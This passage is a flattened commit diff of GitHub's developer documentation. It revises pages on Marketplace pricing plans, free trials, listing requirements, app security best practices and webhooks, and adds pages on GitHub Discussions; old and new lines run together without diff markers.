variables.product.prodname_marketplace %} as a free service, you'll need to request verification for the app and go through financial onboarding. #### Paid pricing plans **Free pricing plans** are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. Unverified free apps do not need to implement any billing flows. Free apps that are verified by Github need to implement billing flows for new purchases and cancellations, but do not need to implement billing flows for free trials, upgrades, and downgrades. If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to resubmit the app for review. There are two types of paid pricing plan: **Flat rate pricing plans** charge a set fee on a monthly and yearly basis. - Flat rate pricing plans charge a set fee on a monthly and yearly basis. **Per-unit pricing plans** charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). - Per-unit pricing plans charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). **Marketplace free trials** provide 14-day free trials of OAuth or GitHub Apps to customers. When you [set up a Marketplace pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/), you can select the option to provide a free trial for flat-rate or per-unit pricing plans. You may also want to offer free trials. These provide free, 14-day trials of OAuth or GitHub Apps to customers. When you set up a Marketplace pricing plan, you can select the option to provide a free trial for flat-rate or per-unit pricing plans. ### Free trials Customers can start a free trial for any available paid plan on a Marketplace listing, but will not be able to create more than one free trial for a Marketplace product. Customers can start a free trial for any paid plan on a Marketplace listing that includes free trials. However, customers cannot create more than one free trial per marketplace product. Free trials have a fixed length of 14 days. Customers are notified 4 days before the end of their trial period (on day 11 of the free trial) that their plan will be upgraded. At the end of a free trial, customers will be auto-enrolled into the plan they are trialing if they do not cancel. See "[New purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)" for details on how to handle free trials in your app. For more information, see: "[Handling new purchases and free trials](/developers/github-marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)." {% note %} 61 content/developers/github-marketplace/requirements-for-listing-an-app.md @@ -1,6 +1,6 @@ --- title: Requirements for listing an app intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before our {% data variables.product.prodname_marketplace %} onboarding specialists will approve the listing.' intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before the listing can be published.' redirect_from: - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ - /apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ @@ -12,49 +12,62 @@ versions: free-pro-team: '*' --- <!--UI-LINK: Displayed as a link on the https://github.com/marketplace/new page.--> The requirements for listing an app on {% data variables.product.prodname_marketplace %} vary according to whether you want to offer a free or a paid app. Before you submit your app for review, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." You'll accept the terms within your [draft listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) on {% data variables.product.product_name %}. Once you've submitted your app, one of the {% data variables.product.prodname_marketplace %} onboarding specialists will reach out to you with more information about the onboarding process, and review your app to ensure it meets these requirements: ### Requirements for all {% data variables.product.prodname_marketplace %} listings ### User experience All listings on {% data variables.product.prodname_marketplace %} should be for tools that provide value to the {% data variables.product.product_name %} community. When you submit your listing for publication, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. #### User experience requirements for all apps All listings should meet the following requirements, regardless of whether they are for a free or paid app. - Listings must not actively persuade users away from {% data variables.product.product_name %}. - Listings must include valid contact information for the publisher. - Listings must have a relevant description of the application. - Listings must specify a pricing plan. - Apps must provide value to customers and integrate with the platform in some way beyond authentication. - Apps must be publicly available in {% data variables.product.prodname_marketplace %} and cannot be in beta or available by invite only. - Apps cannot actively persuade users away from {% data variables.product.product_name %}. - Marketing materials for the app must accurately represent the app's behavior. - Apps must include links to user-facing documentation that describe how to set up and use the app. - When a customer purchases an app and GitHub redirects them to the app's installation URL, the app must begin the OAuth flow immediately. For details, see "[Handling new purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/#step-3-authorization)." - Apps must have webhook events set up to notify the publisher of any plan changes or cancellations using the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." - Customers must be able to install your app and select repositories on both a personal and organization account. They should be able to view and manage those accounts separately. For more information on providing a good customer experience, see "[Customer experience best practices for apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)." ### Brand and listing #### Brand and listing requirements for all apps - Apps that use GitHub logos must follow the "[{% data variables.product.product_name %} Logos and Usage](https://github.com/logos)" guidelines. - Apps that use GitHub logos must follow the {% data variables.product.company_short %} guidelines. For more information, see "[{% data variables.product.company_short %} Logos and Usage](https://github.com/logos)." - Apps must have a logo, feature card, and screenshots images that meet the recommendations provided in "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." - Listings must include descriptions that are well written and free of grammatical errors. For guidance in writing your listing, see "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." ### Security To protect your customers, we recommend that you also follow security best practices. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)." ### Considerations for free apps Apps will go through a security review before being listed on {% data variables.product.prodname_marketplace %}. A successful review will meet the requirements and follow the security best practices listed in "[Security review process](/marketplace/getting-started/security-review-process/)." For information on the review process, contact [[email protected]](mailto:[email protected]). {% data reusables.marketplace.free-apps-encouraged %} ### Requirements for paid apps In addition to the requirements for all apps above, each app that you offer as a paid service on {% data variables.product.prodname_marketplace %} must also meet the following requirements: - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. - All paid apps must handle {% data variables.product.prodname_marketplace %} purchase events for new purchases, upgrades, downgrades, cancellations, and free trials. For more information, see "[Billing requirements for paid apps](#billing-requirements-for-paid-apps)" below. - Publishing organizations must have a verified domain and must enable two-factor authentication. For more information, see "[Requiring two-factor authentication in your organization](/github/setting-up-and-managing-organizations-and-teams/requiring-two-factor-authentication-in-your-organization.") ### Billing flows When you are ready to publish the app on {% data variables.product.prodname_marketplace %} you must request verification for the listing. Your app must integrate [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) using the [{% data variables.product.prodname_marketplace %} webhook event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/). {% note %} #### Free apps The verification process is open to organizations. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% data reusables.marketplace.free-apps-encouraged %} If you are listing a free app, you'll need to meet these requirements: {% endnote %} - Customers must be able to see that they have a free plan in the billing, profile, or account settings section of the app. - When a customer cancels your app, you must follow the flow for [cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/). ### Billing requirements for paid apps #### Paid apps Your app does not need to handle payments but does need to use {% data variables.product.prodname_marketplace %} purchase events to manage new purchases, upgrades, downgrades, cancellations, and free trials. For information about how integrate these events into your app, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." To offer your app as a paid service, you'll need to meet these requirements to list your app on {% data variables.product.prodname_marketplace %}: Using GitHub's billing API allows customers to purchase an app without leaving GitHub and to pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - To sell your app in {% data variables.product.prodname_marketplace %}, it must use GitHub's billing system. Your app does not need to handle payments but does need to use "[{% data variables.product.prodname_marketplace %} purchase events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" to manage new purchases, upgrades, downgrades, cancellations, and free trials. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" to learn about how to integrate these events into your app. Using GitHub's billing system allows customers to purchase an app without leaving GitHub and pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - Apps must support both monthly and annual billing for paid subscriptions purchases. - Listings may offer any combination of free and paid plans. Free plans are optional but encouraged. For more information, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% data reusables.marketplace.marketplace-billing-ui-requirements %} 60 content/developers/github-marketplace/security-best-practices-for-apps.md @@ -0,0 +1,60 @@ --- title: Security best practices for apps intro: 'Guidelines for preparing a secure app to share on {% data variables.product.prodname_marketplace %}.' redirect_from: - /apps/marketplace/getting-started/security-review-process/ - /marketplace/getting-started/security-review-process - /developers/github-marketplace/security-review-process-for-submitted-apps shortTitle: Security best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a secure user experience. ### Authorization, authentication, and access control We recommend creating a GitHub App rather than an OAuth App. {% data reusables.marketplace.github_apps_preferred %}. See "[Differences between GitHub Apps and OAuth Apps](/apps/differences-between-apps/)" for more details. - Apps should use the principle of least privilege and should only request the OAuth scopes and GitHub App permissions that the app needs to perform its intended functionality. For more information, see [Principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) in Wikipedia. - Apps should provide customers with a way to delete their account, without having to email or call a support person. - Apps should not share tokens between different implementations of the app. For example, a desktop app should have a separate token from a web-based app. Individual tokens allow each app to request the access needed for GitHub resources separately. - Design your app with different user roles, depending on the functionality needed by each type of user. For example, a standard user should not have access to admin functionality, and billing managers might not need push access to repository code. - Apps should not share service accounts such as email or database services to manage your SaaS service. - All services used in your app should have unique login and password credentials. - Admin privilege access to the production hosting infrastructure should only be given to engineers and employees with administrative duties. - Apps should not use personal access tokens to authenticate and should authenticate as an [OAuth App](/apps/about-apps/#about-oauth-apps) or a [GitHub App](/apps/about-apps/#about-github-apps): - OAuth Apps should authenticate using an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/). - GitHub Apps should authenticate using either a [JSON Web Token (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app), [OAuth token](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/), or [installation access token](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation). ### Data protection - Apps should encrypt data transferred over the public internet using HTTPS, with a valid TLS certificate, or SSH for Git. - Apps should store client ID and client secret keys securely. We recommend storing them as [environmental variables](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables). - Apps should delete all GitHub user data within 30 days of receiving a request from the user, or within 30 days of the end of the user's legal relationship with GitHub. - Apps should not require the user to provide their GitHub password. - Apps should encrypt tokens, client IDs, and client secrets. ### Logging and monitoring Apps should have logging and monitoring capabilities. App logs should be retained for at least 30 days and archived for at least one year. A security log should include: - Authentication and authorization events - Service configuration changes - Object reads and writes - All user and group permission changes - Elevation of role to admin - Consistent timestamping for each event - Source users, IP addresses, and/or hostnames for all logged actions ### Incident response workflow To provide a secure experience for users, you should have a clear incident response plan in place before listing your app. We recommend having a security and operations incident response team in your company rather than using a third-party vendor. You should have the capability to notify {% data variables.product.product_name %} within 24 hours of a confirmed incident. For an example of an incident response workflow, see the "Data Breach Response Policy" on the [SANS Institute website](https://www.sans.org/information-security-policy/). A short document with clear steps to take in the event of an incident is more valuable than a lengthy policy template. ### Vulnerability management and patching workflow You should conduct regular vulnerability scans of production infrastructure. You should triage the results of vulnerability scans and define a period of time in which you agree to remediate the vulnerability. If you are not ready to set up a full vulnerability management program, it's useful to start by creating a patching process. For guidance in creating a patch management policy, see this TechRepublic article "[Establish a patch management policy](https://www.techrepublic.com/blog/it-security/establish-a-patch-management-policy-87756/)." 94 ...ent/developers/github-marketplace/security-review-process-for-submitted-apps.md This file was deleted. 53 content/developers/github-marketplace/setting-pricing-plans-for-your-listing.md @@ -1,6 +1,6 @@ --- title: Setting pricing plans for your listing intro: 'When [listing your app on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/), you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' intro: 'When you list your app on {% data variables.product.prodname_marketplace %}, you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' redirect_from: - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ @@ -17,57 +17,52 @@ versions: free-pro-team: '*' --- ### About setting pricing plans If you want to sell an app on {% data variables.product.prodname_marketplace %}, you need to request verification when you publish the listing for your app. During the verification process, an onboarding expert checks the organization's identity and security settings. The onboarding expert will also take the organization through financial onboarding. For more information, see: "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." ### Creating pricing plans To learn about the types of pricing plans that {% data variables.product.prodname_marketplace %} offers, see "[{% data variables.product.prodname_marketplace %} Pricing Plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." You'll also find helpful billing guidelines in "[Selling your app](/marketplace/selling-your-app/)." Pricing plans can be in the draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published listing will function the same way as draft listings until your app is approved and listed on {% data variables.product.prodname_marketplace %}. Draft listings allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish the pricing plan, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). If you haven't created a {% data variables.product.prodname_marketplace %} listing yet, read "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)" to learn how. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: {% data variables.product.prodname_marketplace %} offers several different types of pricing plan. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)." #### Plan name ### About saving pricing plans Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align to the plan's resources, the size of the company that will use the plan, or anything you'd like. You can save pricing plans in a draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published plan will function in the same way as a draft plan until your listing is approved and shown on {% data variables.product.prodname_marketplace %}. Draft plans allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish a pricing plan on a published listing, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. #### Pricing models For guidelines on billing customers, see "[Billing customers](/developers/github-marketplace/billing-customers)." ##### Free plans {% data reusables.marketplace.free-apps-encouraged %} A free plan still requires you to handle [new purchase](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/) and [cancellation](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/) billing flows. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" for more details. ##### Flat-rate plans ### Creating pricing plans Flat-rate pricing plans allow you to offer your service to customers for a flat-rate fee. {% data reusables.marketplace.marketplace-pricing-free-trials %} To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). For more information, see "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)." You must set a price for both monthly and yearly subscriptions in U.S. Dollars for flat-rate plans. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: ##### Per-unit plans - **Plan name** - Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align with the plan's resources, the size of the company that will use the plan, or anything you'd like. Per-unit pricing allows you to offer your app in units. For example, a unit can be a person, seat, or user. You'll need to provide a name for the unit and set a price for both monthly and yearly subscriptions, in U.S. Dollars. - **Pricing models** - There are three types of pricing plan: free, flat-rate, and per-unit. All plans require you to process new purchase and cancellation events from the marketplace API. In addition, for paid plans: #### Available for - You must set a price for both monthly and yearly subscriptions in US dollars. - Your app must process plan change events. - You must request verification to publish a listing with a paid plan. - {% data reusables.marketplace.marketplace-pricing-free-trials %} {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %} apps](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Short description - **Available for** - {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. - **Short description** - Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. #### Bullets - **Bullets** - You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. {% data reusables.marketplace.free-plan-note %} ### Changing a {% data variables.product.prodname_marketplace %} listing's pricing plan If a pricing plan for your {% data variables.product.prodname_marketplace %} plan is no longer needed or if you need to adjust pricing details, you can remove it. If a pricing plan for your {% data variables.product.prodname_marketplace %} listing is no longer needed, or if you need to adjust pricing details, you can remove it. ![Button to remove your pricing plan](/assets/images/marketplace/marketplace_remove_this_plan.png) Once you publish a pricing plan for an app already listed in the {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you publish a pricing plan for an app that is already listed in {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan and create a new plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you remove a pricing plan, users won't be able to purchase your app using that plan. Existing users on the removed pricing plan will continue to stay on the plan until they cancel their plan subscription. 37 content/developers/github-marketplace/submitting-your-listing-for-publication.md @@ -0,0 +1,37 @@ --- title: Submitting your listing for publication intro: 'You can submit your listing for the {% data variables.product.prodname_dotcom %} community to use.' redirect_from: - /marketplace/listing-on-github-marketplace/submitting-your-listing-for-review - /developers/github-marketplace/submitting-your-listing-for-review versions: free-pro-team: '*' --- Once you've completed the listing for your app, you'll see two buttons that allow you to request publication of the listing with or without verification. The **Request** button for "Publish without verification" is disabled if you have published any paid pricing plans in the listing. ![Unverified and verified request button](/assets/images/marketplace/marketplace-request-button.png) {% data reusables.marketplace.launch-with-free %} After you submit your listing for review, an onboarding expert will reach out to you with additional information. For an overview of the process for creating and submitting a listing, see "[About {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/about-github-marketplace#publishing-an-app-to-github-marketplace)." ### Prerequisites for publishing with verification Before you request verification of your listing, you'll need to integrate the {% data variables.product.prodname_marketplace %} billing flows and webhook into your app. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you've met the requirements for listing and you've integrated with the {% data variables.product.prodname_marketplace %} API, go ahead and submit your listing. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Transferring an app to an organization before you submit](#transferring-an-app-to-an-organization-before-you-submit)" below. ### Transferring an app to an organization before you submit You cannot sell an app that's owned by a user account. You need to transfer the app to an organization that is already a verified creator, or that can request verification for a listing for the app. For details, see: 1. "[Creating an organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)" 1. "[Transferring ownership of a GitHub App](/developers/apps/transferring-ownership-of-a-github-app)" or "[Transferring ownership of an OAuth App](/developers/apps/transferring-ownership-of-an-oauth-app)" 22 content/developers/github-marketplace/submitting-your-listing-for-review.md This file was deleted. 4 content/developers/github-marketplace/testing-your-app.md @@ -1,6 +1,6 @@ --- title: Testing your app intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before the {% data variables.product.prodname_marketplace %} onboarding team approves your app, it must adequately handle the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows).' intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before an onboarding expert approves your app, it must adequately handle the billing flows.' redirect_from: - /apps/marketplace/testing-apps-apis-and-webhooks/ - /apps/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps/ @@ -13,7 +13,7 @@ versions: ### Testing apps You can use a [draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) to simulate each of the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows). A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. You can use a draft {% data variables.product.prodname_marketplace %} listing to simulate each of the billing flows. A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Using a development app with a draft listing to test changes 2 .../developers/github-marketplace/webhook-events-for-the-github-marketplace-api.md @@ -1,6 +1,6 @@ --- title: Webhook events for the GitHub Marketplace API intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan. For details on how to respond to each of these types of events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)."' intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan.' redirect_from: - /apps/marketplace/setting-up-github-marketplace-webhooks/about-webhook-payloads-for-a-github-marketplace-listing/ - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/ 4 content/developers/webhooks-and-events/webhook-events-and-payloads.md @@ -445,7 +445,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example @@ -469,7 +469,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_repositories_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example 54 ...ssions/collaborating-with-your-community-using-discussions/about-discussions.md @@ -0,0 +1,54 @@ --- title: About discussions intro: Use discussions to ask and answer questions, share information, make announcements, and conduct or participate in a conversation about a project on {% data variables.product.product_name %}. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About discussions With {% data variables.product.prodname_discussions %}, the community for your project can create and participate in conversations within the project's repository. Discussions empower a project's maintainers, contributors, and visitors to gather and accomplish the following goals in a central location, without third-party tools. - Share announcements and information, gather feedback, plan, and make decisions - Ask questions, discuss and answer the questions, and mark the discussions as answered - Foster an inviting atmosphere for visitors and contributors to discuss goals, development, administration, and workflows ![Discussions tab for a repository](/assets/images/help/discussions/hero.png) You don't need to close a discussion like you close an issue or a pull request. If a repository administrator or project maintainer enables discussions for a repository, anyone who visits the repository can create and participate in discussions for the repository. Repository administrators and project maintainers can manage discussions and discussion categories in a repository, and pin discussions to increase the visibility of the discussion. Moderators and collaborators can mark comments as answers, lock discussions, and convert issues to discussions. For more information, see "[Repository permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." For more information about management of discussions for your repository, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." ### About categories and formats for discussions {% data reusables.discussions.you-can-categorize-discussions %} {% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.repository-category-limit %} For discussions with a question/answer format, an individual comment within the discussion can be marked as the discussion's answer. {% data reusables.discussions.github-recognizes-members %} For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." ### Best practices for discussions As a community member or maintainer, start a discussion to ask a question or discuss information that affects the community. For more information, see "[Collaborating with maintainers using discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions)." Participate in a discussion to ask and answer questions, provide feedback, and engage with the project's community. For more information, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." You can spotlight discussions that contain important, useful, or exemplary conversations among members in the community. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)." ### Sharing feedback You can share your feedback about {% data variables.product.prodname_discussions %} with {% data variables.product.company_short %}. To join the conversation, see [`github/feedback`](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Discussions+Feedback%22). ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)" - "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 50 ...community-using-discussions/collaborating-with-maintainers-using-discussions.md @@ -0,0 +1,50 @@ --- title: Collaborating with maintainers using discussions shortTitle: Collaborating with maintainers intro: You can contribute to the goals, plans, health, and community for a project on {% data variables.product.product_name %} by communicating with the maintainers of the project in a discussion. permissions: People with read permissions to a repository can start and participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About collaboration with maintainers using discussions {% data reusables.discussions.about-discussions %} If you use or contribute to a project, you can start a discussion to make suggestions and engage with maintainers and community members about your plans, questions, ideas, and feedback. For more information, see "[‎About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." {% data reusables.discussions.about-categories-and-formats %} Repository administrators and project maintainers can delete a discussion. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion)." {% data reusables.discussions.github-recognizes-members %} These members appear in a list of the most helpful contributors to the project's discussions. As your project grows, you can grant higher access permissions to active members of your community. For more information, see "[Granting higher permissions to top contributors](/discussions/guides/granting-higher-permissions-to-top-contributors)" ![Most helpful contributors to discussions for a project](/assets/images/help/discussions/most-helpful.png) For more information about participation in discussions, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." ### Prerequisites To collaborate with maintainers using discussions, a repository administrator or project maintainer must enable discussions for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Starting a discussion {% data reusables.discussions.starting-a-discussion %} ### Filtering the list of discussions You can search for discussions and filter the list of discussions in a repository. For more information, see "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the **Search all discussions** field, type a search query. Optionally, to the right of the search field, click a button to further filter the results. ![Search bar and buttons for filtering discussions](/assets/images/help/discussions/search-and-filter-controls.png) 1. In the list of discussions, click the discussion you want to view. ![Discussion search results](/assets/images/help/discussions/search-result.png) ### Converting an issue to a discussion {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion#converting-an-issue-to-a-discussion)." ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 14 